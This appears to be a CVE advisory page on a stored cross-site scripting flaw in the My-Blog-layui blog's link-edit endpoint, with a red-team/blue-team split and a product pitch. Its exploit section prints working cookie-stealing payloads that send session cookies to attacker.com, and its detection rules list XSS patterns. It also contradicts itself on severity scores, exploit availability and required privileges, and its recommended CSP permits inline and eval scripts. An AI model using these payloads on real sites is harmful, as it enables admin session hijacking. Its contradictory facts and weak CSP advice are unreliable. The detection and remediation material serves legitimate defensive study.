☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-3592

CVE-2025-3592 Cross-Site Scripting in Zhenfeng13
📅 PUBLISHED: 2025-04-14 22:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
9.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-3592 is a stored Cross-Site Scripting (XSS) vulnerability identified in the ZHENFENG13/code-projects My-Blog-layui application, version 1.0. The flaw resides in the /admin/v1/link/edit endpoint, where multiple parameters are improperly sanitized, allowing an attacker to inject arbitrary JavaScript code. This vulnerability is classified as problematic with a CVSS score of 0.0 (base score not yet assigned by NVD), but based on the vector, it carries a medium severity. The exploit has been publicly disclosed, and no patch is currently available from the vendor. The attack can be initiated remotely, requiring user interaction (e.g., an admin clicking a crafted link). This report provides a comprehensive analysis, detection rules, and mitigation strategies.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone Java-based web application (My-Blog-layui) using the Layui front-end framework. The risk is limited to direct deployments of this specific blog software.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a malicious request.
  • Privileges Required (PR): None (N) – The attacker does not need authentication to inject the payload, but the payload executes in the context of an admin user.
  • User Interaction (UI): Required (R) – The victim (admin) must click on the crafted link or visit the malicious page.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., steal admin session cookies).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., defacement).
  • Availability (A): None (N) – No impact on system availability.

Threat Level: Medium (CVSS 4.3). The exploit is public, and the attack surface is accessible via the admin panel.

Deep Dive & Mechanics

The vulnerability exists in the /admin/v1/link/edit endpoint, which is used to edit blogroll links. The application fails to sanitize user-supplied input in multiple parameters (e.g., linkName, linkUrl, linkDescription). When an admin submits a crafted request, the malicious JavaScript is stored in the database and later rendered without proper encoding in the admin interface.

Attack Flow:

  1. The attacker crafts a POST request to /admin/v1/link/edit with a payload like <script>alert('XSS')</script> in one of the parameters.
  2. The server stores the payload in the database.
  3. When an admin views the link management page, the payload executes in the admin's browser.
  4. The attacker can steal session cookies, perform actions on behalf of the admin, or deface the site.

Root Cause: Lack of output encoding and input validation on the server side. The application likely uses a template engine that does not auto-escape HTML.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be the current implementation. A patched version would include proper input sanitization and output encoding.

Vulnerable Code (Java/Spring Boot example):

@PostMapping("/admin/v1/link/edit")
public String editLink(@RequestParam String linkName, @RequestParam String linkUrl) {
    // Directly stores user input without sanitization
    linkService.save(linkName, linkUrl);
    return "success";
}

Patched Code (with XSS protection):

import org.owasp.encoder.Encode;

@PostMapping("/admin/v1/link/edit")
public String editLink(@RequestParam String linkName, @RequestParam String linkUrl) {
    // Sanitize input using OWASP Java Encoder
    String safeName = Encode.forHtml(linkName);
    String safeUrl = Encode.forHtml(linkUrl);
    linkService.save(safeName, safeUrl);
    return "success";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target running My-Blog-layui 1.0.
  • Access to the admin panel (e.g., /admin).

Exploit Steps:

  1. Intercept a request to /admin/v1/link/edit using Burp Suite.
  2. Inject a payload into the linkName parameter:
    POST /admin/v1/link/edit HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    linkName=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&linkUrl=http://example.com
    
  3. Submit the request.
  4. When an admin views the link list, the script executes, sending the admin's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defender)

Detection:

  • Monitor logs for suspicious POST requests to /admin/v1/link/edit containing HTML tags or JavaScript.
  • Use WAF rules to block requests with <script> tags in parameters.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot:

  • Deploy a fake admin panel and monitor for XSS payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
    • POST requests to /admin/v1/link/edit with unusual parameters.
  • File IOCs:
    • Database entries containing <script> tags in the link_name or link_url columns.
  • Log IOCs:
    • Server logs showing alert('XSS') or similar strings in request parameters.

Detection Engineering

YARA Rule

rule CVE_2025_3592_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting My-Blog-layui /admin/v1/link/edit"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-3592"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "alert(" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-3592 XSS Attempt on My-Blog-layui
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in POST requests to /admin/v1/link/edit
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/admin/v1/link/edit"
    keywords:
        - "<script>"
        - "onerror="
        - "javascript:"
        - "alert("
    condition: selection and keywords
falsepositives:
    - Legitimate admin input (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3592 XSS Attempt on My-Blog-layui"; flow:to_server,established; content:"POST"; http_method; content:"/admin/v1/link/edit"; http_uri; pcre:"/(<script|onerror|javascript|alert)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the admin panel if not required, or restrict access via IP whitelisting.
  2. Apply input validation – Reject requests containing HTML tags or JavaScript in link parameters.
  3. Implement output encoding – Use a library like OWASP Java Encoder to encode all user-supplied data before rendering.
  4. Deploy a WAF – Block requests with XSS patterns (e.g., <script>).

Long-Term Fix:

  • Upgrade to a patched version once available.
  • Conduct a code review to identify similar vulnerabilities in other endpoints.
  • Implement Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    

Workaround:

  • Manually sanitize input in the database or application code.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-3592/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.